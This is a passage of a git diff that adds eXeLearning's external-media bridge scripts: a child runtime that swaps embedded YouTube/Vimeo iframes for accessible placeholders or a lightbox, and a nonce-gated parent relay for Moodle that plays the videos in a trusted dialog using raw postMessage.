+                    }
+                }, opts.readyTimeoutMs || DEFAULT_TIMEOUT_MS);
+                ctl.on('ready', function () {
+                    if (done) return;
+                    done = true;
+                    sched.clearTimeout(timer);
+                    resolve(ctl);
+                });
+                ctl.on('error', function (e) {
+                    if (done || !e || !e.fatal) return;
+                    done = true;
+                    sched.clearTimeout(timer);
+                    reject(new Error(e.code || 'error'));
+                });
+                ctl.open({ provider: opts.provider, videoId: opts.videoId, start: opts.start, autoplay: opts.autoplay });
+            });
+        });
+    }
+
+    /**
+     * Build an accessible placeholder for an external media descriptor. In normal
+     * (bridge) mode it is a play button that asks the parent to open the modal; in
+     * degraded mode (or for PDF) it is an "open in a new tab" link.
+     */
+    function buildPlaceholder(descriptor, opts) {
+        opts = opts || {};
+        var doc = opts.document || root.document;
+        var degraded = opts.degraded || !descriptor.requiresBridge;
+        var title = descriptor.title || '';
+        var label = providerName(descriptor.provider);
+
+        // Self-contained inline styles so the placeholder presents reasonably inside any
+        // exported theme (mirrors the existing showYoutubeFallback approach in iDevices).
+        var wrap = doc.createElement('div');
+        wrap.className = 'exe-external-media' + (degraded ? ' exe-external-media--degraded' : '');
+        wrap.setAttribute('data-exe-media-provider', descriptor.provider);
+        if (descriptor.providerVideoId) wrap.setAttribute('data-exe-media-id', descriptor.providerVideoId);
+        wrap.setAttribute('data-exe-media-url', descriptor.originalUrl || descriptor.embedUrl || '');
+        if (descriptor.interactive) wrap.setAttribute('data-exe-media-interactive', 'true');
+        wrap.setAttribute(
+            'style',
+            'display:flex;flex-direction:column;align-items:center;justify-content:center;gap:12px;' +
+                'min-height:180px;padding:24px;text-align:center;border:1px solid #ccc;border-radius:8px;' +
+                'background:#f5f5f5;',
+        );
+
+        var caption = doc.createElement('span');
+        caption.className = 'exe-external-media__label';
+        caption.textContent = label + (title ? ' — ' + title : '');
+        wrap.appendChild(caption);
+
+        var openStyle =
+            'display:inline-block;padding:10px 24px;border-radius:6px;border:none;cursor:pointer;' +
+            'background:#0b5fff;color:#fff;font-size:1rem;text-decoration:none;';
+
+        if (degraded) {
+            var a = doc.createElement('a');
+            a.className = 'exe-external-media__open';
+            a.setAttribute('href', descriptor.originalUrl || descriptor.embedUrl || '#');
+            a.setAttribute('target', '_blank');
+            a.setAttribute('rel', 'noopener noreferrer');
+            a.setAttribute('style', openStyle);
+            a.textContent = trc('exeMediaOpenNewTab', 'Open in a new tab');
+            a.setAttribute('aria-label', (title ? title + ' — ' : '') + label + ' — ' + trc('exeMediaOpenNewTab', 'Open in a new tab'));
+            wrap.appendChild(a);
+        } else {
+            var btn = doc.createElement('button');
+            btn.className = 'exe-external-media__open';
+            btn.setAttribute('type', 'button');
+            btn.setAttribute('style', openStyle);
+            btn.textContent = trc('exeMediaPlay', 'Play video');
+            btn.setAttribute('aria-label', (title ? title + ' — ' : '') + label + ' — ' + trc('exeMediaPlay', 'Play video'));
+            wrap.appendChild(btn);
+        }
+        return wrap;
+    }
+
+    /**
+     * Replace nested external embeds in `rootEl` with placeholders.
+     *
+     * - Opaque/sandboxed mode: every recognized embed (unless the author opted out with
+     *   `data-exe-media-floating="false"`) becomes a placeholder that asks the trusted
+     *   parent to open the player (or degrades to open-in-new-tab when no parent answers).
+     * - Normal (non-sandboxed) mode: only embeds the author marked
+     *   `data-exe-media-floating="true"` become placeholders, and they open in a
+     *   self-contained floating lightbox within the export document.
+     *
+     * Returns a promise resolving to the created placeholders (for tests).
+     */
+    function scanAndReplace(rootEl, opts) {
+        opts = opts || {};
+        var doc = (rootEl && rootEl.ownerDocument) || root.document;
+        var win = opts.win || root;
+        var bridgeMode = shouldUseBridge(win);
+        var nodes = rootEl && rootEl.querySelectorAll ? rootEl.querySelectorAll('iframe[src]') : [];
+        var found = [];
+        for (var i = 0; i < nodes.length; i++) {
+            var floating = nodes[i].getAttribute && nodes[i].getAttribute('data-exe-media-floating');
+            // Normal rendering only swaps embeds the author opted into floating; everything
+            // else plays inline (referrerpolicy makes that work). Opaque mode protects EVERY
+            // recognized embed — inline can't run there, so the checkbox does not apply.
+            if (!bridgeMode && floating !== 'true') continue;
+            var d = policy.parseExternalMedia(nodes[i]);
+            if (d) found.push({ node: nodes[i], descriptor: d });
+        }
+        if (!found.length) return Promise.resolve([]);
+
+        if (!bridgeMode) {
+            // Self-contained floating playback (lightbox) in the export document.
+            var lightboxPlaceholders = [];
+            for (var k = 0; k < found.length; k++) {
+                var fit = found[k];
+                var lph = buildPlaceholder(fit.descriptor, {
+                    document: doc,
+                    degraded: !fit.descriptor.requiresBridge,
+                });
+                if (fit.descriptor.requiresBridge) wireLightbox(lph, fit.descriptor, opts);
+                if (fit.node.parentNode) fit.node.parentNode.replaceChild(lph, fit.node);
+                lightboxPlaceholders.push(lph);
+            }
+            return Promise.resolve(lightboxPlaceholders);
+        }
+
+        return ensureSession(opts).then(function (session) {
+            var degraded = !session;
+            var placeholders = [];
+            for (var j = 0; j < found.length; j++) {
+                var item = found[j];
+                var ph = buildPlaceholder(item.descriptor, { document: doc, degraded: degraded });
+                if (!degraded && item.descriptor.requiresBridge) {
+                    wireOpen(ph, item.descriptor, opts);
+                }
+                if (item.node.parentNode) item.node.parentNode.replaceChild(ph, item.node);
+                placeholders.push(ph);
+            }
+            return placeholders;
+        });
+    }
+
+    /**
+     * Open a provider video in a self-contained, accessible floating lightbox within the
+     * current document. Used in normal (non-sandboxed) rendering where the document has a
+     * real origin and the provider iframe works directly. Returns { overlay, close }.
+     */
+    function openLightbox(descriptor, opts) {
+        opts = opts || {};
+        var doc = opts.document || root.document;
+        var labelText = descriptor.title || providerName(descriptor.provider);
+
+        var overlay = doc.createElement('div');
+        overlay.className = 'exe-media-lightbox';
+        overlay.setAttribute('role', 'dialog');
+        overlay.setAttribute('aria-modal', 'true');
+        overlay.setAttribute('aria-label', labelText);
+        overlay.setAttribute(
+            'style',
+            'position:fixed;inset:0;z-index:99999;display:flex;align-items:center;justify-content:center;' +
+                'background:rgba(0,0,0,0.85);',
+        );
+
+        var frame = doc.createElement('div');
+        frame.setAttribute(
+            'style',
+            'position:relative;width:min(90vw,960px);max-height:90vh;aspect-ratio:16/9;background:#000;',
+        );
+
+        var sep = descriptor.embedUrl && descriptor.embedUrl.indexOf('?') >= 0 ? '&' : '?';
+        var iframe = doc.createElement('iframe');
+        iframe.setAttribute('src', (descriptor.embedUrl || '') + sep + 'autoplay=1');
+        iframe.setAttribute('title', labelText);
+        iframe.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture');
+        iframe.setAttribute('allowfullscreen', 'allowfullscreen');
+        // Needed so YouTube/Vimeo identify the page (avoids "Error 153").
+        iframe.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        iframe.setAttribute('style', 'position:absolute;inset:0;width:100%;height:100%;border:0;');
+
+        var close = doc.createElement('button');
+        close.type = 'button';
+        close.className = 'exe-media-lightbox__close';
+        close.setAttribute('aria-label', trc('exeMediaClose', 'Close'));
+        close.textContent = '×';
+        close.setAttribute(
+            'style',
+            'position:absolute;top:-40px;right:0;width:36px;height:36px;background:transparent;border:none;' +
+                'color:#fff;font-size:30px;line-height:1;cursor:pointer;',
+        );
+
+        function destroy() {
+            if (doc.removeEventListener) doc.removeEventListener('keydown', onKey, true);
+            if (overlay.parentNode) overlay.parentNode.removeChild(overlay);
+            if (opts.returnFocus && typeof opts.returnFocus.focus === 'function') {
+                try {
+                    opts.returnFocus.focus();
+                } catch (e) {
+                    /* ignore */
+                }
+            }
+        }
+        function onKey(e) {
+            if (e.key === 'Escape' || e.keyCode === 27) destroy();
+        }
+
+        close.addEventListener('click', destroy);
+        overlay.addEventListener('click', function (e) {
+            if (e.target === overlay) destroy();
+        });
+        if (doc.addEventListener) doc.addEventListener('keydown', onKey, true);
+
+        frame.appendChild(iframe);
+        frame.appendChild(close);
+        overlay.appendChild(frame);
+        (doc.body || doc.documentElement).appendChild(overlay);
+        if (typeof close.focus === 'function') {
+            try {
+                close.focus();
+            } catch (e) {
+                /* ignore */
+            }
+        }
+        return { overlay: overlay, close: destroy };
+    }
+
+    function wireLightbox(placeholder, descriptor, opts) {
+        var btn = placeholder.querySelector('.exe-external-media__open');
+        if (!btn) return;
+        btn.addEventListener('click', function () {
+            openLightbox(descriptor, {
+                document: placeholder.ownerDocument || (opts && opts.document) || root.document,
+                returnFocus: btn,
+            });
+        });
+    }
+
+    function wireOpen(placeholder, descriptor, opts) {
+        var btn = placeholder.querySelector('.exe-external-media__open');
+        if (!btn) return;
+        btn.addEventListener('click', function () {
+            openMedia({
+                provider: descriptor.provider,
+                videoId: descriptor.providerVideoId,
+                win: opts && opts.win,
+                timeoutMs: opts && opts.timeoutMs,
+                readyTimeoutMs: opts && opts.readyTimeoutMs,
+                genId: opts && opts.genId,
+            }).catch(function () {
+                // Lost the bridge after handshake → swap to the degraded fallback.
+                var doc = placeholder.ownerDocument || root.document;
+                var fallback = buildPlaceholder(descriptor, { document: doc, degraded: true });
+                if (placeholder.parentNode) placeholder.parentNode.replaceChild(fallback, placeholder);
+            });
+        });
+    }
+
+    function resetForTests() {
+        sessionPromise = null;
+    }
+
+    /**
+     * Auto-activate on every exported page. In opaque/sandboxed mode it protects every
+     * recognized embed; in normal rendering it only swaps embeds the author marked
+     * `data-exe-media-floating="true"` for a click-to-open lightbox, so existing content
+     * (and local/file:// / Electron use) is unaffected.
+     */
+    function autoInit(win, doc) {
+        win = win || root;
+        if (!doc) return false;
+        var run = function () {
+            scanAndReplace(doc.body || doc.documentElement, { win: win });
+        };
+        if (doc.readyState === 'loading' && doc.addEventListener) {
+            doc.addEventListener('DOMContentLoaded', run);
+        } else {
+            run();
+        }
+        return true;
+    }
+
+    var api = {
+        isSandboxedOpaque: isSandboxedOpaque,
+        inIframe: inIframe,
+        shouldUseBridge: shouldUseBridge,
+        createBridgeController: createBridgeController,
+        ensureSession: ensureSession,
+        openMedia: openMedia,
+        openLightbox: openLightbox,
+        buildPlaceholder: buildPlaceholder,
+        scanAndReplace: scanAndReplace,
+        autoInit: autoInit,
+        _resetForTests: resetForTests,
+    };
+
+    root.exeMediaBridge = api;
+
+    autoInit(root, typeof document !== 'undefined' ? document : null);
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/tests/e2e/embed/exe_media_host.js b/tests/e2e/embed/exe_media_host.js
new file mode 100644
index 0000000..992b4cc
--- /dev/null
+++ b/tests/e2e/embed/exe_media_host.js
@@ -0,0 +1,532 @@
+/**
+ * exe-media-host — reference PARENT-side relay for the eXeLearning external-media bridge.
+ *
+ * Host plugins (Moodle, WordPress, Procomún, …) include this one file on the trusted page
+ * that embeds an eXeLearning package inside an opaque-origin sandboxed iframe. It lets the
+ * package's YouTube/Vimeo videos play (which they cannot do inside the opaque frame) by:
+ *
+ *   - completing the capability handshake announced by the child runtime (window identity
+ *     + per-view nonce + a transferred MessageChannel port),
+ *   - opening an accessible <dialog> with the real provider player on the trusted side, and
+ *   - relaying a tiny, validated set of media commands/events over the private port.
+ *
+ * Security: the relay NEVER trusts `event.origin` (it is the string "null"). The only
+ * window-level message accepted is the child's `welcome`-triggering `hello`, gated by
+ * `event.source === iframe.contentWindow`. Steady-state media traffic flows only over the
+ * private port. The child sends just `{provider, videoId}`; the relay reconstructs the
+ * canonical URL from a fixed per-provider template (never a child-supplied URL).
+ *
+ * Classic browser script (no ES module syntax); depends on the shared `exeMediaPolicy`.
+ *
+ * mod_exelearning VARIANT (DEC-80-07): vendored from eXeLearning's exe-media-host.js, but the
+ * provider adapters drive the player by RAW postMessage (YouTube enablejsapi=1, Vimeo api=1)
+ * instead of the YouTube IFrame Player API / Vimeo Player SDK, so the trusted Moodle page
+ * never loads third-party player script (erseco). The handshake, accessible modal and the
+ * command/event relay are otherwise unchanged. The child runtime (exe_media_bridge.js +
+ * exe_media_policy.js, baked into the package by eXeLearning) is unmodified; the interactive
+ * video iDevice already speaks this contract (window.exeMediaBridge.openMedia → controller).
+ * Canonical upstream: exelearning/public/app/common/exe_media_bridge/.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function (root) {
+    'use strict';
+
+    var policy = root.exeMediaPolicy;
+    var TYPE = policy.TYPE;
+    var VERSION = policy.VERSION;
+
+    function tr(key) {
+        return typeof root._ === 'function' ? root._(key) : key;
+    }
+
+    function isThenable(v) {
+        return v && typeof v.then === 'function';
+    }
+
+    function genNonce(opts) {
+        if (opts && typeof opts.genId === 'function') return opts.genId();
+        if (root.crypto && typeof root.crypto.randomUUID === 'function') return root.crypto.randomUUID();
+        return 'n-' + Math.random().toString(36).slice(2);
+    }
+
+    function makeChannel(opts) {
+        if (opts && typeof opts.channelFactory === 'function') return opts.channelFactory();
+        return new MessageChannel();
+    }
+
+    function getInterval(opts) {
+        return {
+            set: (opts && opts.setInterval) || (root.setInterval ? root.setInterval.bind(root) : function () {}),
+            clear: (opts && opts.clearInterval) || (root.clearInterval ? root.clearInterval.bind(root) : function () {}),
+        };
+    }
+
+    // ---- Raw-postMessage provider adapters (NO YouTube IFrame API / Vimeo SDK) ----------
+    // mod_exelearning controls the promoted player by posting the providers' documented
+    // postMessage commands straight to the player iframe and parsing its event messages, so
+    // the trusted Moodle page never loads third-party player SDK script (erseco, DEC-80-07).
+    // Both providers use JSON-STRING messages. The host polls getCurrentTime()/getDuration()
+    // every 250ms to emit timeupdate; these adapters keep those values fresh from the
+    // player's pushed infoDelivery (YouTube) / timeupdate (Vimeo) events. Adapters are still
+    // injectable (opts.youtubeFactory / opts.vimeoFactory) for tests.
+
+    function num(v) {
+        return typeof v === 'number' && isFinite(v) ? v : undefined;
+    }
+
+    function parentOrigin() {
+        try {
+            return (root.location && root.location.origin) || '';
+        } catch (e) {
+            return '';
+        }
+    }
+
+    // Pure command builders (exposed for unit tests). Closed action set; null otherwise.
+    function ytCommand(action, value) {
+        switch (action) {
+            case 'play': return { event: 'command', func: 'playVideo', args: [] };
+            case 'pause': return { event: 'command', func: 'pauseVideo', args: [] };
+            case 'seek': return { event: 'command', func: 'seekTo', args: [Number(value) || 0, true] };
+            case 'listen': return { event: 'listening' };
+            default: return null;
+        }
+    }
+    function vimeoCommand(action, value) {
+        switch (action) {
+            case 'play': return { method: 'play' };
+            case 'pause': return { method: 'pause' };
+            case 'seek': return { method: 'setCurrentTime', value: Number(value) || 0 };
+            default: return null;
+        }
+    }
+
+    // Pure inbound-event parsers (exposed for unit tests). Both providers post JSON strings.
+    function parseRaw(raw) {
+        if (typeof raw === 'string') {
+            try { return JSON.parse(raw); } catch (e) { return null; }
+        }
+        return raw && typeof raw === 'object' ? raw : null;
+    }
+    function parseYtEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'onReady') return { kind: 'ready' };
+        if (d.event === 'onError') return { kind: 'error', code: String(d.info != null ? d.info : '') };
+        if (d.event === 'infoDelivery' && d.info && typeof d.info === 'object') {
+            return { kind: 'info', currentTime: num(d.info.currentTime), duration: num(d.info.duration), playerState: num(d.info.playerState) };
+        }
+        if (d.event === 'onStateChange') {
+            return { kind: 'state', playerState: num(typeof d.info === 'object' && d.info ? d.info.playerState : d.info) };
+        }
+        return null;
+    }
+    function parseVimeoEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'ready') return { kind: 'ready' };
+        if (d.event === 'timeupdate' && d.data) return { kind: 'timeupdate', currentTime: num(d.data.seconds), duration: num(d.data.duration) };
+        if (d.event === 'play') return { kind: 'play' };
+        if (d.event === 'pause') return { kind: 'pause' };
+        if (d.event === 'ended' || d.event === 'finish') return { kind: 'ended' };
+        if (d.event === 'error') return { kind: 'error', code: 'vimeo_error' };
+        return null;
+    }
+
+    function youtubeRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var origin = parentOrigin();
+        var target = 'https://www.youtube-nocookie.com';
+        var src = target + '/embed/' + videoId + '?enablejsapi=1&rel=0&modestbranding=1' +
+            (origin ? '&origin=' + encodeURIComponent(origin) : '') +
+            (cb.start ? '&start=' + Math.floor(cb.start) : '') +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseYtEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'info') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+                signalState(ev.playerState);
+            } else if (ev.kind === 'state') {
+                signalState(ev.playerState);
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        function signalState(s) {
+            if (s === 1 && cb.onPlay) cb.onPlay();
+            else if (s === 2 && cb.onPause) cb.onPause();
+            else if (s === 0 && cb.onEnded) cb.onEnded();
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        frame.addEventListener('load', function () { post(ytCommand('listen')); });
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(ytCommand('play')); },
+            pause: function () { post(ytCommand('pause')); },
+            seek: function (t) { post(ytCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    function vimeoRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var target = 'https://player.vimeo.com';
+        var pid = 'exe-vimeo-' + videoId;
+        var src = target + '/video/' + videoId + '?api=1&player_id=' + encodeURIComponent(pid) +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('id', pid);
+        frame.setAttribute('allow', 'autoplay; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function subscribe() {
+            ['timeupdate', 'play', 'pause', 'ended', 'error'].forEach(function (name) {
+                post({ method: 'addEventListener', value: name });
+            });
+            if (cb.start) post(vimeoCommand('seek', cb.start));
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseVimeoEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                subscribe();
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'timeupdate') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+            } else if (ev.kind === 'play' && cb.onPlay) {
+                cb.onPlay();
+            } else if (ev.kind === 'pause' && cb.onPause) {
+                cb.onPause();
+            } else if (ev.kind === 'ended' && cb.onEnded) {
+                cb.onEnded();
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(vimeoCommand('play')); },
+            pause: function () { post(vimeoCommand('pause')); },
+            seek: function (t) { post(vimeoCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    // ---- Accessible modal -------------------------------------------------------------
+
+    function buildModal(session) {
+        var opts = session.opts || {};
+        var doc = opts.document || root.document;
+        var dialog = doc.createElement('dialog');
+        dialog.className = 'exe-media-modal';
+        dialog.setAttribute('aria-label', tr('Video player'));
+        try {
+            dialog.setAttribute('closedby', 'any'); // light-dismiss where supported
+        } catch (e) {
+            /* older engines */
+        }
+
+        var closeBtn = doc.createElement('button');
+        closeBtn.setAttribute('type', 'button');
+        closeBtn.className = 'exe-media-modal__close';
+        closeBtn.setAttribute('aria-label', tr('Close video'));
+        closeBtn.textContent = tr('Close');
+        closeBtn.addEventListener('click', function () {
+            requestClose(session);
+        });
+
+        var body = doc.createElement('div');
+        body.className = 'exe-media-modal__body';
+
+        dialog.appendChild(closeBtn);
+        dialog.appendChild(body);
+
+        // Safari light-dismiss fallback: a click whose target is the dialog itself is the backdrop.
+        dialog.addEventListener('click', function (e) {
+            if (e.target === dialog) requestClose(session);
+        });
+        // Esc / platform close request.
+        dialog.addEventListener('close', function () {
+            if (session.hiding) {
+                session.hiding = false;
+                return;
+            }
+            requestClose(session);
+        });
+
+        (doc.body || doc.documentElement).appendChild(dialog);
+        if (typeof dialog.showModal === 'function') dialog.showModal();
+
+        session.dialog = dialog;
+        return body;
+    }
+
+    function showModal(session) {
+        if (session.dialog && typeof session.dialog.showModal === 'function') session.dialog.showModal();
+    }
+
+    function hideModal(session) {
+        if (session.dialog && typeof session.dialog.close === 'function') {
+            session.hiding = true;
+            session.dialog.close();
+        }
+    }
+
+    function requestClose(session) {
+        if (session.closed) return;
+        session.closed = true;
+        sendEvent(session, { action: 'closed' });
+        destroyAdapter(session);
+        if (session.dialog) {
+            if (typeof session.dialog.close === 'function') session.dialog.close();
+            if (typeof session.dialog.remove === 'function') session.dialog.remove();
+        }
+    }
+
+    function destroyAdapter(session) {
+        if (session.pollTimer != null) {
+            session.interval.clear(session.pollTimer);
+            session.pollTimer = null;
+        }
+        if (session.adapter && session.adapter.destroy) session.adapter.destroy();
+        session.adapter = null;
+    }
+
+    // ---- Media event relay ------------------------------------------------------------
+
+    function sendEvent(session, ev) {
+        ev.type = TYPE;
+        ev.v = VERSION;
+        if (session.port1) session.port1.postMessage(ev);
+    }
+
+    function emitTimeupdate(session, ct, dur) {
+        if (typeof ct === 'number' && isFinite(ct) && typeof dur === 'number' && isFinite(dur)) {
+            sendEvent(session, { action: 'timeupdate', currentTime: ct, duration: dur });
+        }
+    }
+
+    function startPolling(session) {
+        if (session.pollTimer != null) return;
+        session.pollTimer = session.interval.set(function () {
+            if (!session.adapter) return;
+            var ct = session.adapter.getCurrentTime();
+            var dur = session.adapter.getDuration();
+            if (isThenable(ct) || isThenable(dur)) {
+                Promise.all([Promise.resolve(ct), Promise.resolve(dur)]).then(function (r) {
+                    emitTimeupdate(session, r[0], r[1]);
+                });
+            } else {
+                emitTimeupdate(session, ct, dur);
+            }
+        }, 250);
+    }
+
+    function openMedia(session, provider, videoId, openOpts) {
+        var opts = session.opts || {};
+        var container = buildModal(session);
+        var callbacks = {
+            start: openOpts.start,
+            autoplay: openOpts.autoplay,
+            onReady: function (duration) {
+                sendEvent(session, { action: 'ready', duration: duration });
+                startPolling(session);
+            },
+            onPlay: function () { sendEvent(session, { action: 'play' }); },
+            onPause: function () { sendEvent(session, { action: 'pause' }); },
+            onEnded: function () { sendEvent(session, { action: 'ended' }); },
+            onSeeked: function (t) { sendEvent(session, { action: 'seeked', currentTime: t }); },
+            onError: function (code) { sendEvent(session, { action: 'error', code: String(code), fatal: true }); },
+        };
+        var factory =
+            provider === 'vimeo'
+                ? opts.vimeoFactory || vimeoRawAdapter
+                : opts.youtubeFactory || youtubeRawAdapter;
+        session.adapter = factory(container, videoId, callbacks);
+    }
+
+    function answerState(session, reqId, field) {
+        if (!session.adapter) return;
+        var value = field === 'duration' ? session.adapter.getDuration() : session.adapter.getCurrentTime();
+        Promise.resolve(value).then(function (v) {
+            var ev = { action: 'state', reqId: reqId };
+            ev[field === 'duration' ? 'duration' : 'currentTime'] = v;
+            sendEvent(session, ev);
+        });
+    }
+
+    function processCommand(session, data) {
+        if (!data || data.type !== TYPE || data.v !== VERSION) return;
+        if (data.exelearningBridge !== session.nonce) return; // nonce gate
+        if (!policy.COMMANDS[data.action]) return;
+
+        if (data.action === 'open') {
+            var url = policy.canonicalEmbedUrl(data.provider, data.videoId);
+            if (!url) {
+                sendEvent(session, { action: 'error', code: 'unsupported_provider', fatal: true });
+                return;
+            }
+            session.closed = false;
+            openMedia(session, data.provider, data.videoId, { start: data.start, autoplay: data.autoplay });
+            return;
+        }
+        if (!policy.validateCommand(data, session.nonce)) return;
+
+        var a = session.adapter;
+        switch (data.action) {
+            case 'play': if (a) a.play(); break;
+            case 'pause': if (a) a.pause(); break;
+            case 'seek': if (a) a.seek(data.t); break;
+            case 'getCurrentTime': answerState(session, data.reqId, 'currentTime'); break;
+            case 'getDuration': answerState(session, data.reqId, 'duration'); break;
+            case 'hide': hideModal(session); break;
+            case 'show': showModal(session); break;
+            case 'close': requestClose(session); break;
+            default: break;
+        }
+    }
+
+    // ---- Handshake + attachment -------------------------------------------------------
+
+    var records = [];
+
+    function teardown(session) {
+        if (!session) return;
+        destroyAdapter(session);
+        if (session.port1 && session.port1.close) session.port1.close();
+        if (session.dialog && session.dialog.remove) session.dialog.remove();
+    }
+
+    function handleHello(rec, data) {
+        var existing = rec.session;
+        if (existing && existing.helloId === data.helloId) return; // duplicate
+        if (existing) teardown(existing); // new helloId → re-pair
+
+        var nonce = genNonce(rec.opts);
+        var channel = makeChannel(rec.opts);
+        var session = {
+            iframe: rec.iframe,
+            opts: rec.opts,
+            nonce: nonce,
+            helloId: data.helloId,
+            port1: channel.port1,
+            adapter: null,
+            dialog: null,
+            pollTimer: null,
+            hiding: false,
+            closed: false,
+            interval: getInterval(rec.opts),
+        };
+        rec.session = session;
+
+        channel.port1.onmessage = function (e) {
+            processCommand(session, e.data);
+        };
+        if (typeof channel.port1.start === 'function') channel.port1.start();
+
+        rec.iframe.contentWindow.postMessage(
+            { type: TYPE, v: VERSION, action: 'welcome', helloId: data.helloId, exelearningBridge: nonce },
+            '*',
+            [channel.port2],
+        );
+    }
+
+    function onWindowMessage(rec, e) {
+        if (!rec.iframe || !rec.iframe.contentWindow || e.source !== rec.iframe.contentWindow) return;
+        if (policy.isHello(e.data)) handleHello(rec, e.data);
+    }
+
+    /**
+     * Register an iframe that renders eXeLearning content and start relaying its media.
+     * @returns {{detach: function}} handle
+     */
+    function attach(iframe, opts) {
+        opts = opts || {};
+        var win = opts.win || root;
+        var rec = { iframe: iframe, opts: opts, session: null, win: win, handler: null };
+        rec.handler = function (e) {
+            onWindowMessage(rec, e);
+        };
+        if (win.addEventListener) win.addEventListener('message', rec.handler);
+        records.push(rec);
+        return {
+            detach: function () {
+                if (win.removeEventListener) win.removeEventListener('message', rec.handler);
+                teardown(rec.session);
+                var i = records.indexOf(rec);
+                if (i >= 0) records.splice(i, 1);
+            },
+        };
+    }
+
+    function resetForTests() {
+        for (var i = 0; i < records.length; i++) {
+            var rec = records[i];
+            if (rec.win && rec.win.removeEventListener) rec.win.removeEventListener('message', rec.handler);
+            teardown(rec.session);
+        }
+        records = [];
+    }
+
+    root.exeMediaHost = {
+        attach: attach,
+        buildModal: buildModal,
+        _youtubeAdapter: youtubeRawAdapter,
+        _vimeoAdapter: vimeoRawAdapter,
+        _ytCommand: ytCommand,
+        _vimeoCommand: vimeoCommand,
+        _parseYtEvent: parseYtEvent,
+        _parseVimeoEvent: parseVimeoEvent,
+        _processCommand: processCommand,
+        _resetForTests: resetForTests,
+    };
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/tests/e2e/embed/exe_media_policy.js b/tests/e2e/embed/exe_media_policy.js
new file mode 100644
index 0000000..9df9677
--- /dev/null
+++ b/tests/e2e/embed/exe_media_policy.js
@@ -0,0 +1,266 @@
+/**
+ * exe_media_policy — pure, framework-free policy for the external-media bridge.
+ *
+ * Single source of truth shared by:
+ *   - the child runtime (exe_media_bridge.js) that runs inside exported content, and
+ *   - the reference parent relay (exe-media-host.js) that runs in the trusted host page.
+ *
+ * Responsibilities (all pure — no DOM mutation, no postMessage):
+ *   - Detect and normalize supported external media (YouTube, Vimeo) into a neutral
+ *     descriptor; recognize PDFs for a deferred open-in-new-tab fallback.
+ *   - Rebuild canonical, privacy-friendly embed URLs from a bare provider id, so the
+ *     bridge never has to trust an attacker-supplied URL (kills redirect-laundering).
+ *   - Validate the versioned postMessage/MessageChannel contract (handshake, commands,
+ *     events) with a strict schema, a closed action enum and a provider allowlist.
+ *
+ * This file is a CLASSIC browser script (no ES module syntax) so it can be shipped
+ * verbatim inside exported packages and loaded over file:// — while still being
+ * importable (for its side effect) by the Vitest suite, which reads the global it sets.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
